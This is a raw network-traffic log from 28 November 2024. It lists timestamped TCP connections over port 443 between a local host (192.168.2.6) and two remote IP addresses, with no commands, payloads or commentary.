Nov 28, 2024 17:24:21.266788006 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.266788006 CET	49734	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.266882896 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.266916037 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.269180059 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.269207001 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.269215107 CET	49735	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:21.269221067 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:21.270421982 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.270526886 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.270534992 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.270574093 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.276443005 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.276463985 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.276582003 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.276595116 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.276639938 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.279520988 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.279613972 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.279622078 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.279674053 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.289778948 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.289868116 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.289885998 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.289927959 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.295413017 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.295438051 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.295510054 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.295531034 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.295555115 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.295572042 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.299017906 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.299087048 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.299099922 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.299144983 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.306979895 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.307075024 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.307087898 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.307133913 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.308943987 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.308963060 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.309040070 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.309058905 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.309870958 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.309947014 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.309954882 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.309978962 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.309998035 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.312453985 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.312555075 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.312566042 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.312614918 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.321983099 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.322048903 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.322114944 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.322127104 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.322215080 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.322221994 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.322236061 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.322288036 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.324194908 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.324219942 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.324311018 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.324320078 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.324337006 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.324356079 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.324368954 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.324441910 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.324451923 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.324495077 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.324990034 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.325063944 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.325119019 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.327296019 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.327399015 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.327408075 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.327456951 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.331343889 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.331465960 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.331479073 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.332104921 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.332206011 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.332221985 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.332247972 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.332258940 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.338870049 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.338980913 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.338990927 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.339035988 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.344357967 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.344412088 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.344472885 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.344491959 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.344552040 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.344568014 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.344592094 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.344608068 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.349302053 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.349385023 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.349394083 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.349430084 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.352988005 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.353081942 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.353096962 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.357067108 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.357789040 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.357897043 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.357907057 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.357948065 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.361903906 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.362018108 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.362030983 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.362065077 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.362137079 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.362147093 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.362176895 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.362179995 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.366811037 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.366898060 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.366906881 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.366941929 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.371556997 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.371655941 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.371665001 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.371716022 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.371973991 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.372064114 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.372083902 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.372531891 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.377495050 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.377599955 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.377607107 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.377656937 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.380424976 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.380512953 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.380522013 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.380732059 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.382250071 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.382349968 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.382361889 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.382468939 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.386301994 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.386398077 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.386405945 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.386862040 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.395143032 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.395246029 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.395255089 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.395297050 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.402723074 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.402827024 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.402833939 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.402880907 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.411293030 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.411420107 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.411428928 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.411473036 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.414098978 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.414120913 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.414227962 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.414237976 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.414273977 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.416356087 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.416480064 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.416486025 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.416538000 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.424932003 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.424948931 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.425059080 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.425069094 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.425110102 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.425574064 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.425653934 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.425659895 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.428826094 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.433954000 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.433971882 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.434078932 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.434091091 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.436928034 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.443223953 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.443238974 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.443331957 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.443341017 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.443381071 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.452284098 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.452303886 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.452395916 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.452405930 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.453036070 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.459108114 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.459125042 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.459213018 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.459223032 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.460820913 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.466207027 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.466223955 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.466324091 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.466335058 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.468796015 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.484858990 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.484998941 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.485035896 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.485085964 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.486998081 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.487090111 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.487098932 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.487140894 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.489476919 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.489574909 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.489583969 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.489626884 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.492669106 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.492769957 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.492779016 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.492822886 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.495342970 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.495433092 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.495440960 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.495485067 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.497625113 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.497766972 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.497776031 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.497831106 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.500580072 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.500670910 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.500679016 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.500722885 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.502932072 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.503009081 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.503021002 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.503067970 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.505234003 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.505320072 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.505327940 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.505368948 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.508099079 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.508181095 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.508188963 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.508229971 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.510773897 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.510853052 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.510863066 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.510905027 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.513003111 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.513078928 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.513087034 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.513128996 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.515194893 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.515269041 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.515278101 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.515330076 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.517972946 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.517982006 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.518109083 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.518119097 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.518155098 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.518161058 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.518186092 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.518239021 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.520185947 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.520266056 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.520273924 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.520315886 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.522660971 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.522737026 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.522744894 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.522788048 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.524525881 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.524620056 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.524630070 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.524682999 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.528776884 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.528873920 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.528892994 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.529351950 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.534759045 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.534857035 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.534873962 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.538713932 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.539449930 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.539521933 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.539531946 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.542712927 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.543518066 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.543581963 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.543591976 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.546726942 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.548866034 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.548939943 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.548954964 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.549031973 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.552867889 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.552937984 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.552943945 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.554711103 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.557100058 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.557162046 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.557167053 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.558696985 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.561817884 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.561888933 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.561896086 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.562695980 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.566483974 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.566555977 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.566560984 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.566591978 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.570306063 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.570373058 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.570378065 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.570409060 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.574290991 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.574359894 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.574364901 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.574393034 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.579201937 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.579267025 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.579273939 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.579319954 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.583008051 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.583097935 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.583102942 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.583147049 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.617336035 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.617362976 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.617427111 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.617436886 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.617471933 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.623291016 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.623308897 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.623362064 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.623369932 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.623410940 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.630435944 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.630455971 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.630523920 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.630532026 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:21.630565882 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:21.638601065 CET	443	49731	150.171.28.10	192.168.2.6
